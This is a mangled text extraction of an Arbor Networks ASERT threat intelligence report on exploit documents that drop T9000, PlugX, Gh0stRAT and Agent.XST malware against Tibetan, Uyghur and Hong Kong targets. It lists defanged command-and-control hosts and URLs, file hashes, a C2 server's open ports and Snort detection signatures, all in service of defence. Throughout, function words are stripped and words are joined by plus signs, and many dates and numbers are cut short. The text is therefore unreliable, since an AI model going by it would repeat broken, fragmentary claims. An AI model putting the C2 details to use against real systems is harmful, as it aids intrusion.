Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Palo +Alto +Unit +published +excellent +document +analyzing +T9000 +malware +[27] +that +discusses +various +paths, +command +structure, +modular +nature +malware, +more. +observed +being +used +this +sample +same +discussed +their +article, +however +malware +they +profiled +uses +TCP/8080, +observed +activity +herein +uses +TCP/7386 +(based +static +analysis). +Within +analysis +environment, +first +stage +T9000 +file +dropped +AppData/Local/Temp +using +apparently +randomized +name, +AFBA.tmp. +This +particular +compromise +creates +expected +files +/Intel +directory +profiled +Unit +Avinfo +hccutils.dll +hccutils.inf +hjwe.dat +qhnj.dat +QQMgr.dll +QQMgr.inf +ResN32.dll +tyeu.dat +vnkd.dat +ResN32.dat +igfxtray.exe +Data/dtl.dat +Data/glp.uin +Another +file +mentioned +Palo +Alto +report, +named +Elevate.dll, +dropped +Intel +directory +appears +involved +using +sysprep.exe +execute +custom +elevate +privileges +Administrator. +This +part +known +style +privilege +escalation +that +been +used +PlugX +[28] +past. +General +information +about +technique, +which +been +known +pentesters +years, +found +[29]. +hash +Elevate.DLL +first +observed +Virus +Total +November +2015. +Please +note +that +file +igfxtray.exe +(SHA- +hash +21a5818822a0b2d52a068d1e3339ed4c767f4d83b081bf17b837e9b6e112ee61) +legitimate +file +simply +used +sideloading +malicious +content. +198.55.120[.]143:7386 +URL: +http://198.55.120[.]143:7386/B/ResN32.dll +(RTF): +fdb6543bfb77aa6ddff0f4dfe07e442f +(T9000 +main +binary): +d8d70851641efbdfce8d561e6b1a2f29 +(Elevate.dll): +1d335f6a58cb9fab503a9b9cb371f57b +(QQMgr.dll): +b9c584c7c34d14599de8cd3b72f2074b +(QQMgr.inf): +8ac933be588f49560179c26ddbc6a753 +(ResN32.dat): +50753c28878ce10a748fbd7b831ecbe1 +(ResN32.dll): +a45e5c32fc2bc7be9d6e4bba8b2807bf +(hccutils.dll): +2299fb8268f47294eb2b18282540a955 +(hccutils.inf): +2f31ef1a8fca047ed0d623010d569857 +(hjwe.dat): +d3601a5160b8d122261989d147221eb7 +(qhnj.dat): +a9de62186cb8d0e23b0dc75e1ae373ac +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +(tyeu.dat): +29ec20f5fa1817dc9250c434e61420ea +(vnkd.dat): +35f4ce864c3a3dc016fea3459d6402a9 +SHA- +(RTF): +8e4de6fb35ce4cd47e06b48fb86b7da3eba02031cfd8ae714e25f8f7903f0141 +SHA- +(T9000 +main +binary): +7c04286734718300e2c0691be9b6622f2d2525ca07ab27102a424af6f8cc3aec +SHA- +(Elevate.dll): +9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95 +SHA- +(QQMgr.dll): +bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f +SHA- +(QQMgr.inf): +ace7e3535f2f1fe32e693920a9f411eea21682c87a8e6661d3b67330cd221a2a +SHA- +(ResN32.dat): +5b90fa081e3ac29a7339995f9b087dab9981409ff62e3215eb558908c6b96b14 +SHA- +(ResN32.dll): +1cea4e49bd785378d8beb863bb8eb662042dffd18c85b8c14c74a0367071d9a7 +SHA- +(hccutils.dll): +3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9 +SHA- +(hccutils.inf): +f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27 +SHA- +(hjwe.dat): +bb73261072d2ef220b8f87c6bb7488ad2da736790898d61f33a5fb7747abf48b +SHA- +(qhnj.dat): +c61dbc7b51caab1d0353cbba9a8f51f65ef167459277c1c16f15eb6c7025cfe3 +SHA- +(tyeu.dat): +e52b5ed63719a2798314a9c49c42c0ed4eb22a1ac4a2ad30e8bfc899edcea926 +SHA- +(vnkd.dat): +c22b40db7f9f8ebdbde4e5fc3a44e15449f75c40830c88932f9abd541cc78465 +Connections to Historical and Ongoing Threat Campaign Activity +sample +contains +following +string: +http://198.55.120[.]143:7386/B/ResN32.dll, +which +used +pivot +find +other +samples. +this +case, +find +another +document +entitled +Tibetan +Protester +Freed, +Others +Jailed.doc +using +same +HTTP +site +information. +That +particular +sample +also +profiled +this +report. +Targeted Exploitation #6: T9000 Keylogger +This +document +exploits +CVE- +2012- +0158, +CVE- +2012- +1856 +CVE- +2015- +1641 +drops +instance +T9000 +keylogger +malware. +spearphish +message +available +this +case, +however +instance +T9000 +malware +itself +same +profiled +Targeted +Exploitation +only +document +that +distinct +between +incident +incident +original +file. +other +artifacts, +please +refer +table +Targeted +Exploitation +IOCs +(RTF): +fb1e8c42d11e3a2de97814e451ee3375 +SHA- +(RTF): +d5fa43be20aa94baf1737289c5034e2235f1393890fb6f4e8d4104565be52d8c +Targeted Exploitation #7: T9000, Chinese Exchange Program Bait File +This +document +exploits +CVE- +2012- +0158, +CVE- +2012- +1856 +CVE- +2015- +1641 +drops +instance +T9000 +keylogger +malware. +bait +file +this +instance +T9000 +involves +exchange +program. +Chinese +document +rough +English +translation +follows: + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +bait +file +shows +author +HBWBEI +last +modified +jack +Office +metadata +suggests +that +file +created +March +2011, +last +printed +April +2008. +sure +document +could +printed +before +created. +Perhaps +threat +actors +have +learned +time +travel, +these +values +crafted. +event, +last +modified +date +correspondence +with +threat +activity +this +case. +T9000 +behavior +this +sample +different +from +other +samples +that +Intel +folder +only +contained +small +amount +files, +unknown +reasons. +this +case, +Intel +folder +only +contains +hjwe.dat +(the +encrypted +core +malware +family +discovered +Palo +Alto +Networks), +debug +information +about +files +used +malware +Data +folder +containing +dtl.dat +(encrypted +config) +glp.uin +(plugin +configuration) +files. +File +hash +values +these +files +match +what +previously +documented +targeted +exploitation +incident +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +198.55.120[.]143 +TCP/7386 +and/or +TCP/8080 +(RTF): +da97c88858214242374f27d32e27d957 +(E804.tmp): +e4e8493898d94f737ff4dc8fab743a4a +(bait +file): +9ae498307da6c2e677a97a458bff1aea +SHA- +(RTF): +647b443ecaa38d2834e5681f20540fa84a5cf2b7e1bee6a2524ce59783cb8d1b +SHA- +(E804.tmp: +5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c +SHA- +(bait +file): +4f1784a4e4181b4c80f8d77675a267cbdd0e35ea1756c9fdb82294251bef1d28 +Connections to Historical and Ongoing Threat Campaign Activity +Observation +sample +suggests +that +198.55.120[.]143 +TCP/7386. +This +port +observed +other +samples +this +campaign/engagement. +Automated +analysis +configuration +itself +suggests +that +port +TCP/8080 +however. +Further +investigation +required +determine +reason +discrepancy. +Connecting +TCP/8080 +this +with +browser +results +download +file +called +download +with +hash +e1269c22ad1e057b9c91523498b4b04d +SHA- +hash +b9914fb8c645e0c41d497db303c1ffa594da709686252fccb8d28dffac86275b. +This +file +delivered +user +after +user +presents +HTTP +GET. +Connecting +this +port +with +telnet +manually +issuing +results +delivery +nine +bytes +from +server. +server +then +appears +wait +response. +These +nine +bytes +contain +ASCII +text +eueuX_ +There +unprintable +characters +present +however, +including +0x05, +0x1b, +0x12 +seen +this +hexdump: +|eueu...X_| +same +connection +used +TCP/8080 +also +used +8088/tcp +8089/tcp +this +particular +obtain +same +response +consisting +exact +same +sequence +bytes. +possible +that +this +server +configured +support +multiple +campaigns, +multiple +actor +groups, +there +some +other +explanation. +Awareness +this +responsive +pattern +could +provide +potentially +useful +method +fingerprint +T9000 +This +communication +pattern +been +observed +wild +least +back +2014- +21:06:19 +UTC, +when +someone +submitted +sample +this +byte +sequence +Virus +Total +(MD5: +e1269c22ad1e057b9c91523498b4b04d). +This +address +clearly +interest +since +been +used +several +samples +uncovered +this +engagement. +Some +basic +analysis +reveals +following +open +ports +(filtered +ports +have +been +removed +from +this +list). +ports +bold +appear +associated +server- +side +component +T9000 +this +instance: +PORT +STATE + SERVICE +80/tcp +open + http +554/tcp +open + rtsp +1028/tcp + open + unknown + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +1433/tcp + open +3389/tcp + open +7070/tcp + open +8080/tcp + open +8088/tcp + open +8089/tcp + open +9000/tcp + open +22779/tcp + open +22790/tcp + open +47001/tcp + open +sql- +wbt- +server +realserver +http- +proxy +radan- +http +unknown +cslistener +unknown +unknown +unknown +Connecting +Remote +Desktop +port +server +gives +sense +language +server. +Targeted Exploitation #8: T9000 + Tibetan Protester Theme +malicious +file, +using +name +Tibetan +Protester +Freed, +Others +Jailed.doc +first +observed +wild +2015- +05:34:17 +submitted +analysis +Virus +Total +from +India. +document +exploits +CVE- +2012- +0158, +CVE- +2012- +1856 +CVE- +2015- +1641. +This +document +been +determined +drop +T9000 +backdoor +malware +based +presence +pointing +previously +discovered +T9000 +string +(http://198.55.120[.]143:7386/B/ResN32.dll). +insightful +T9000 +report +from +Palo +Alto +Networks +describes +this +ResN32.dll +file +Malicious +DLL. +Decrypts, +decompresses, +loads +core +malware +Other +obvious +strings +present +such +string +"D:\WORK\T9000\N_Inst_User_M1\Release\N_Inst_User32.pdb" +many +other +clear +T9000 +artifacts. +With +regards +bait +file +Tibetan +Protester +Freed, +Others +Jailed.doc +that +copied +from +website. +news +item +from +December +2015 +posted +Radio +Free +Asia +[30] +using +this +exact +Tibetan +Protester +document +title. +webpage +from +Radio +Free +Asia +seen +left +below +bait +file +that +appears +have +been +built +from +website +right. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +bait +file +document +metadata +indicates +that +created +modified +HighSea +12/31/2015, +same +that +file +uploaded +Virus +Total +same +other +threat +activity +observed +against +Tibetan +community. +name +HighSea +appears +other +malicious +document +metadata +profiled +within +this +report. +198.55.120[.]143 +tcp/7386 +(malicious +RTF): +facd2fbf26e974bdeae3e4db19753f03 +(T9000, +BC29.tmp): +e4e8493898d94f737ff4dc8fab743a4a +Bait +filename +(~tmp.doc): +Tibetan +Protester +Freed, +Others +Jailed.doc +(~tmp.doc): +751196ce79dacd906eec9b5a1c92890b +SHA- +256: +(malicious +RTF): +1140e06fa8580cf869744b01cc037c2d2d2b5af7f26f5b3448d9a536674d681c + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +SHA- +(T9000, +BC29.tmp): +5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c +SHA- +(~tmp.doc): +76d54a0c8ed8d9a0b02f52d2400c8e74a9473e9bc92aeb558b2f4c894da1b88f +Connections to Historical and Ongoing Threat Campaign Activity +This +sample +uses +same +that +been +observed +other +T9000 +samples +analyzed +herein. +Targeted +Exploitation +incident +this +report +features +some +assessment +itself +determine +additional +information +about +actors +generate +other +IOCs. +Targeted Exploitation #9: Agent.XST and other malware +This +document, +exploiting +CVE- +2012- +0158, +CVE- +2012- +1856 +CVE- +2015- +1641, +observed +using +name +2016 +.doc, +which +roughly +translates +English +Prediction +2016 +presidential +election +people +center +value.Doc +First +submitted +from +1/7/2016 +Virus +Total. +bait +file +contains +following +text: +rough +translation +English +reveals +election +related +content: +Office +file +metadata +indicates +when +document +created +(1/6/2016 +5:41 +less +than +helpful +value +User +author. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +batch +file +dropped +malware, +named +wget.bat, +contains +following +PowerShell +code: +Powershell +code +runs +minimized +instance +wget.exe +(also +dropped +malware) +attempts +obtain +file +named +wthk.txt +from +server +Taiwan, +which +then +stored +whtk.exe +locally. +this +case, +wthk.txt +file +longer +available +download +site +(www.kcico.com[.]tw/data/openwebmail/doc/wthk.txt) +obtained +through +other +means. +file +wthk.txt +same +malware +family +(Sample +discussed +Uncovering +Seven +Pointed +Dagger +paper +(referred +case +7PD, +this +malware +(appears +keylogger) +originally +stored +inside +file +named +Security- +Patch- +Update333.rar. +Readers +encouraged +refer +paper +http://www.arbornetworks.com/blog/asert/wp- +content/uploads/2016/01/ASERT- +Threat- +Intelligence- +Brief- +2015- +Uncovering- +the- +Seven- +Point- +Dagger.pdf +full +details. +Execution +malware +results +creation +suspicious +network +traffic. +initial +connection +triggers +Emerging +Threats +signature +TROJAN +Win32/Agent.XST +Checkin +alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Win32/Agent.XST Checkin"; +flow:established,to_server; content:"POST"; http_method; content:!"Referer|3a|"; +http_header; content:!"Accept|3a|"; http_header; content:"Content-Type|3a 20|text/html|0d +0a|"; http_header; content:"this is UP"; depth:10; http_client_body; fast_pattern; +content:"|00 00 00 00|"; http_client_body; +reference:md5,d579d7a42ff140952da57264614c37bc; reference:url,asert.arbornetworks.com/wpcontent/uploads/2016/01/ASERT-Threat-Intelligence-Brief-Uncovering-the-Seven-PointedDagger.pdf; classtype:trojan-activity; sid:2022362; rev:2;) +keep- +alive +packet +generated +from +compromised +host +triggers +Emerging +Threats +signature +TROJAN +Win32/Agent.XST +Keepalive +alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Win32/Agent.XST Keepalive"; +flow:established,to_server; content:"POST|20|"; depth:5; content:".asp|20|HTTP/1."; +distance:0; content:!"Referer|3a|"; distance:0; content:!"Accept|3a|"; distance:0; +content:"Content-Length|3a 20|2|0d 0a|"; distance:0; fast_pattern; content:"ContentType|3a 20|text/html|0d 0a|"; content:"|0d 0a 0d 0a|ok"; distance:0; threshold: type +limit, count 1, seconds 60, track by_src; reference:md5,d579d7a42ff140952da57264614c37bc; +reference:url,asert.arbornetworks.com/wp-content/uploads/2016/01/ASERT-ThreatIntelligence-Brief-Uncovering-the-Seven-Pointed-Dagger.pdf; classtype:trojan-activity; +sid:2022363; rev:2;) +malware +activity +from +this +sample +very +similar +sample +discussed +7PD. +Since +findings +available +this +family +been +profiled +with +much +depth, +details +follows: + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +(wthk.txt) +d579d7a42ff140952da57264614c37bc +(First +seen +Virus +Total +2016- + Wthk.txt +binary +signed +Binzhoushi +Yongyu +Feed +Co.,LTd + The +certificate +valid +from +1/17/2014 +1/18/2016. +These +valid +dates +exactly +after +valid +dates +certificate +used +aforementioned +sample +which +valid +from +1/16/2014 +1/17/2016. + Execution +this +malware +creates +Internet +Explorer +folder +that +contains +following +files: + MD5 +(conhost.exe) +f70b295c6a5121b918682310ce0c2165 +(same +binary +sample) + Appears +legit +SandboxIE +file, +originally +named +SandboxieBITS.exe +that +signed +SANDBOXIE +L.T.D. +ASERT +five +instances +this +file +being +used +malware +operations. +Additionally, +analysis +files +PEHash +(ffb7a38174aab4744cc4a509e34800aee9be8e57) +reveals +instances +same +slightly +modified +file +being +used +various +PlugX +operations +since +least +2013. +This +file +imports +functions +from +SBIeDll.dll. + MD5 +(SBieDll.dll) +f80edbb0fcfe7cec17592f61a06e4df2 + This +exports +SbieApi_Log, +SbieDLL_Hook(x,x,x) +DllEntryPoint. + This +file +sideloaded +conhost.exe, +which +imports +SbieApi_Log. + The +file +maindll.dll +loaded +LoadLibaryW. + The +sample +checks +presence +mutex +"EDD4DB6D- +E8E0- +42ae- +A47B- +021DC227E2FA" +with +OpenMutexW +does +load +maindll.dll +mutex +already +set. +maindll.dll +loaded +successfully, +then +string +load +maindll +pushed +stack, +followed +call +GetProcAddress +process +name +sbie_info. +this +successful, +then +another +string +work +pushed +stack. +this +successful +then +string +work +error +instead +pushed +stack. + This +file +contains +string +Y:/UDPSbieDLL/Release/SBieDLL.pdb + Unlike +previously +observed +version +this +file +mentioned +7PD, +this +particular +sample +does +appear +packed +otherwise +obfuscated. + MD5 +(dll2.xor): +ce8ec932be16b69ffa06626b3b423395 + Based +upon +filename, +this +XOR- +file. +Additional +analysis +ongoing. + MD5 +(maindll.dll): +d8ede9e6c3a1a30398b0b98130ee3b38 + This +binary +obfuscated, +likely +with +ASPack +v2.12, +requires +further +analysis. + The +compilation +date +this +binary +0x54A93AD9 +(Sun +07:06:33 +2015) + MD5 +(nvsvc.exe) +e0eb981ad6be0bd16246d5d442028687 + This +file +uses +Microsoft +Foundation +Classes +(MFC) +signed +Square +Network +Tech +Co.,LTD +from +city +Zhongshan, +Guangdong +province, +China +November +2014 +9:01:58 +Square +Network +Tech +Co.,LTD +Square +Network +Tech +Co.,LTD. +Zhongshan, +Guangdong, +CN). +digital +signature +contains +attribute +field +1.3.6.1.4.1.311.2.1.12 +that +lists +string +Microsoft +Windows +Shell +explorer +https:www.trustasia.com +valid +from +2014 +2015. +Trustasia.com +digital +certificate +provider +Shanghai, +China. + File +references +conhost.exe, +dll2.xor, +maindll.dll, +SbieDll.dll, +HOOK.DLL, +itself. +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +(runas.exe) +6a541de84074a2c4ff99eb43252d9030 + This +file +contains +jump +table +with +cases, +each +leading +five +files +dropped +malware, +with +additional +files +referenced +that +present: +HOOK.DLL +mon. +While +full +analysis +still +process, +some +interesting +elements +from +aforementioned +files +include +presence +several +resources +inside +nvsvc.exe +file. +Resource +appears +left, +resource +right. +These +default +resources +some +application, +however +their +presence +indicator. +SbIEDll.dll +file +uses +tactic +similar +what +used +older +instance +PlugX +whereby +fake +exported +function +used +[31]. +While +both +legitimate +instance +SbieDll.DLL +this +malicious +version +have +export +address +table +entry +SbieApi_Log, +malicious +version +implements +function +that +basically +does +nothing +other +than +setting +register +legitimate +instance +function +displayed +left, +while +malicious +instance +function +displayed +right. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +Once +wthk.txt +file +downloaded +PowerShell, +dropped +file +fuso.exe +executed. +binary +named +fuso.exe +very +simple +binary +that +appears +execute +another +application +named +Keyainst.exe: +Unfortunately, +Keyainst.exe +available +during +this +analysis. +Connections to Historical and Ongoing Threat Campaign Activity +recently +published +(March +2016) +blog +Michael +Taiwan +Presidential +Election: +Case +Study +Thematic +Targeting +[32] +also +discusses +aspects +this +sample +reveals +that +used +targeted +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +exploitation +attempts +upon +Hong +Kong +activist +politician. +this +case, +malware +being +called +SunOrcal +Surtr +were +involving +using +same +path +malware +download +observed +here +(www.kcico.com[.]tw/data/openwebmail/doc/wthk.txt) +pivots +from +these +samples +revealed +connections +activity +early +2010 +associated +with +targeting +Tibet +Hong +Kong. +Pivoting +mutex +checked +SbIEDll.dll +binary +results +discovery +malware +analyzed +2013 +(MD5: +983333e2c878a62d95747c36748198f0) +using +filename +.docx +which +roughly +translates +List +Chinese +National +Security +Council +staff +early +exposure +settings +.docx +that +using +exploit +code +CVE- +2013- +3906. +Additional +pivots +provide +other +insight. +59.188.12[.]123 +TCP/8008, +located +Hong +Kong. +Passive +reveals +that +this +address +been +used +dynamic +domain +yeaton.xicp[.]net +from +2016- +23:50:44 +until +least +2016- +(resolution +appears +ongoing). +2012 +forum +posts, +domain +yeaton.xicp[.]net +used +advertising +service +China +that +claims +able +bypass +great +firewall. +While +2012 +long +time +ago, +possible +that +threat +actor +using +service. +59.188.12[.]123 +TCP/8008 +(RTF): +09ddd70517cb48a46d9f93644b29c72f +(~tmp.doc): +e6ad959a18725954a56a7954d3f47671 +(RAR): +d8becbd6f188e3fb2c4d23a2d36d137b +(iuso.exe): +07eb4867e436bbef759a9877402af994 +(wget.bat): +47e60e347b5791d5f17939f9c97fee01 +(wget.exe): +f9f8d1c53d312f17c6f830e7b4e6651d +(wthk.txt): +d579d7a42ff140952da57264614c37bc +(conhost.exe): +f70b295c6a5121b918682310ce0c2165 +(SBieDll.dll): +f80edbb0fcfe7cec17592f61a06e4df2 +(dll2.xor): +ce8ec932be16b69ffa06626b3b423395 +(maindll.dll): +d8ede9e6c3a1a30398b0b98130ee3b38 +(nvsvc.exe): +e0eb981ad6be0bd16246d5d442028687 +(runas.exe): +6a541de84074a2c4ff99eb43252d9030 +SHA- +(RTF): +41d05788d844b59f8eb79aeb2060dd5b7bdcad01e8d720f4b8b80d552e41cfe2 +SHA- +256: +(~tmp.doc): +f0b5336b6f890e2029ac242ad2b613cad535828f7b7004a2284683f3195b7616 +SHA- +(RAR): +ddc05b9f39f579f64742980980ca9820b83a243889bbc5baa37f5c2c1c4beb30 +8EC7.tmp +SHA- +(iuso.exe) +cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082 +SHA- +(wget.bat): +9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692 +SHA- +(wget.exe): +bedfbfe249b4a2be35bbfb1cf166d2119e132ee7c608909d34238e9eba6c9749 +SHA- +(wthk.txt): +5b875ecf0b7f67a4429aeaa841eddf8e6b58771e16dbdb43ad6918aa7a5b582d +SHA- +(conhost.exe): +4849af113960f473749acf71d11d56854589cf21d623e66c7408bebd5ad0608f +SHA- +(SbieDll.dll): +2ac69633da711f244377483d99fac53089ec6614a61d8a1492a0e7228cbb8ffd +SHA- +(dll2.xor): +c3fee1c7d402f144023dade4e63dc65db42fc4d6430f9885ece6aa7fa77cade0 + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +SHA- +(maindll.dll): +5838582ea26312cc60b43da555189b439d3688597a705e3a52dc4d935517f69d +SHA- +(nvsvc.exe): +ec05e37230e6534fa148b8e022f797ad0afe80f699fbd222a46672118663cf00 +SHA- +(runas.exe): 5b34b3365eb6a6c700b391172849a2668d66a167669018ae3b9555bc2d1e54ab +File +creation: +conhost.log +File +creation: +keylog +File +creation: +srvlic.dll +File +creation: +up.dat +File +creation: +xx1.tmp +File +creation: +xx2.tmp +File +creation: +xx3.tmp +File +creation: +xx4.tmp +File +creation: +xx5.tmp +File +creation: +xx6.tmp +Targeted Exploitation #10: PlugX, Tibetan theme +original +filename +HUMAN +RIGHTS +SITUATION +TIBET.doc. +bait +file +originally +horizontal, +been +rotated +sake +readability, +consists +first +pages +apparently +from +document +published +Tibetan +Center +Human +Rights +Democracy +called +HUMAN +RIGHTS +SITUATION +TIBET +metadata +Word +bait +file +shows +February +2016 +timeframe +user +member0975 +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +PlugX +malware +configuration +follows: +After +exploitation, +query +www.whitewall[.]top; +resolves +118.193.240[.]195. +Next, +compromised +host +initiates +traffic +UDP/8080 +followed +traffic +UDP/995. +Extracting +from +memory +reveals +http://www.whitewall.top[:]8080/850D3011FA326CBB6F57A965 +http://www.whitewall[.]top:995/5724DD3DCC4A19E8416E5691. +small +(2KB) +file +named +skljxpikxzp +(likely +random +name) +appeared +compromised +system +after +about +hour. +This +file +examined +depth +appears +encoded. +instance +msiexec.exe +appears +have +been +spawned +from +svchost.exe +that +related +this +file. + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +www.whitewall[.]top +UDP/8080 +www.whitewall[.]top +UDP/995 +(RTF): +ee49bd5f35cc3012b5b606aca9b0f561 +(fsguidll.exe): +2d7a648ebe64e536944c011c8dcbb375 +(fslapi.dll): +13d3d0699562a57cf575dd7f969b3141 +(fslapi.dll.gui): +894c251a3aad150f80a8af2539baf9d1 +(ufbidruosivibuted): +caefdd6ca90ff791cdeff9313136972e +(PlugX): +103873e3fa8dfc2360bb5c22761da04a +SHA256 +(RTF): +58f8a906b49711d2a6aaed0b59e1c1b7fcf5757666e0567fe50e996bfe0a4589 +SHA- +(fsguidll.exe): +5c5e3201d6343e0536b86cb4ab0831c482a304c62cd09c01ac8bdeee5755f635 +SHA- +(fslapi.dll): +2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083 +SHA- +(fslapi.dll.gui): +dc4dac22d58ed7c0cadb13a621f42cb9a01851385ca0dc5b94a73c91677a0739 +SHA- +(ufbidruosivibuted): +a78ea84acf57e0c54d5b1e5e3bd5eec31cc5935f16d9575e049e161420736e32 +SHA256 +(PlugX): +40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 +Connections to Historical and Ongoing Threat Campaign Activity +www.whitewall[.]top +resolves +118.193.240[.]195 +time +this +writing +appears +hosted +within +netblock +(ASN +58879) +belonging +ANCHNET +Shanghai +Anchang +Network +Security +Technology +China. +Passive +reveals +several +recent +resolutions +(that +continue +this +writing): +Domain +www.turkistanuyghur.top +www.yawropauyghur.top +www.whitewall.top +www.japanuyghur.top +www.hotansft.top +www.amerikauyghur.top +www.yawropauyghur.top +www.turkistanuyghur.top +www.whitewall.top +www.hotansft.top +www.japanuyghur.top +www.amerikauyghur.top +www.yawropauyghur.top +www.whitewall.top +www.turkistanuyghur.top +www.japanuyghur.top +www.amerikauyghur.top +www.yawropauyghur.top +www.whitewall.top +www.amerikauyghur.top +turkiyeuyghur.com +First +Seen +2016- +18:31:40 +2016- +18:31:56 +2016- +18:31:49 +2016- +18:30:49 +2016- +01:28:56 +2016- +01:28:05 +2016- +18:32:50 +2016- +21:26:13 +2016- +22:00:00 +2016- +20:46:10 +2016- +05:37:55 +2016- +14:49:44 +2016- +01:29:14 +2016- +01:29:39 +2016- +01:26:48 +2016- +01:26:00 +2016- +01:26:33 +2016- +00:00:00 +2016- +00:00:00 +2016- +00:00:00 +2015- +06:33:09 +Last +Seen +2016- +12:30:17 +2016- +01:30:12 +2016- +01:30:07 +2016- +01:29:06 +2016- +01:29:03 +2016- +01:28:22 +2016- +05:13:12 +2016- +05:13:11 +2016- +05:13:11 +2016- +05:13:06 +2016- +05:13:06 +2016- +05:13:00 +2016- +12:30:37 +2016- +12:30:36 +2016- +12:30:24 +2016- +12:29:30 +2016- +01:27:14 +2016- +00:00:00 +2016- +00:00:00 +2016- +12:55:26 +2016- +22:49:35 +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +www.turkistanuyghur.top +www.japanuyghur.top +turkiyeuyghur.com +2016- +01:26:09 +2016- +00:00:00 +2015- +09:59:30 +2016- +01:26:41 +2016- +01:25:57 +2015- +22:19:55 +interest +Uyghurs +noted, +with +Uyghur +themed +domains +being +created +from +December +2015. +interest +Uyghurs +potentially +consistent +with +past +threat +activity +terms +targeting, +although +further +investigation +performed. +presence +PlugX +among +other +Uyghur +themed +domains +suggests +there +additional +threat +activity +discovered. +Moving +away +from +domain +pivots +into +binary +naming +schemes, +this +particular +instance +PlugX +uses +binary +that +contains +service +description +Secure +componet +service +least +three +other +PlugX +samples +same +service +description. +These +three +samples +have +following +properties: +Sample +MD5: +533cd66cf420e8919329ee850077319c +SHA256: +0ba814941a0adb344cbf2a90552a66b52faa99a24d3107735da1db5a0e1f8360 +Sample +MD5: +e327abcfd09be4e8f64ef35026309747 +SHA256: +8b6ef2f4e2af608c755b3114e98ab78ac89e089db5b0bece7f2dc68bd1026a78 +Sample +MD5: +103873e3fa8dfc2360bb5c22761da04a +SHA256: +40099e0f13ba47bd4ea4f3f49228ac8cffdf07700c4ef8089e3b5d8013e914a3 +these, +sample +also +contains +exact +same +auth +string +33333 +Assuming +least +some +these +values +manually +input +into +malware +builder +application, +consider +possibility +relationship +between +these +samples +that +could +warrant +further +investigation. +Targeted Exploitation #11: Gh0stRAT (LURK0), PlugX, Other Malware +This +instance +Gh0stRAT +modified +string +LURK0 +instead +Gh0st +when +traffic +initiated +This +malicious +only +appears +exploit +CVE- +2015- +1641, +despite +document +matching +Four +Element +Builder +kit. +When +malware +executes, +launches +hidden +Internet +Explorer +instance +injects +into +instance +with +WriteMemory +CreateRemoteThread +process +injections: +WRITE_MEMORY +0x00140000 +[0x0000005c +bytes] +[PID: +1076] +[C:\Program +Files\Internet +Explorer\iexplore.exe] +CREATE_REMOTE_THREAD +0x7c80aedb +[PID: +1076] +[C:\Program +Files\Internet +Explorer\iexplore.exe] +injected +instance +Internet +Explorer +starts +with +current +directory +AppData\Roaming\Micbt. +This +folder +created +malware. +malware +then +initiates +query +manhaton.123nat[.]com, + Copyright 2016 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement +which +analysis +time +resolved +122.10.112[.]126. +port +appears +TCP/8030, +responding +during +analysis. +lookup +reveals +that +China +Hong +Kong: +133731 +122.10.112.126 +TOINTER- +Royal +Network +Technology +Co., +Ltd. +Guangzhou,CN +134121 +122.10.112.126 +RAINBOW- +Rainbow +network +limited,HK +LURK0 +variant +Gh0stRAT +well +documented +been +used +against +Tibetan +community +others +years +[33] +[34] +[35]. +Network +activity +appears +such, +with +telltale +LURK0 +string +appearing +start +packet. +following +network- +based +alerts +notify +organizations +Gh0stRAT +LURK0 +variant +traffic: +[2016922] +TROJAN +Backdoor +family +PCRat/Gh0st +traffic +[2021716] +TROJAN +Backdoor +family +PCRat/Gh0st +traffic +(OUTBOUND) +[2808814] +ETPRO +TROJAN +Backdoor +family +PCRat/Gh0st +Response +IOCs +manhaton.123nat[.]com +122.10.112[.]126 +TCP/8030 +(90t69cf82.dll): +86ebcbb3bdd8af257b52daa869ddd6c1 +(RTF): +b51dd4d5731b71c1a191294466cc8288 +(B412.tmp): +111273c8cba88636a036e250c2626b12 +(~tmp.doc): +e538ad13417b773714b75b5d602e4c6e +recognized +Gh0stRAT +(Micbt/BTFly.dump): 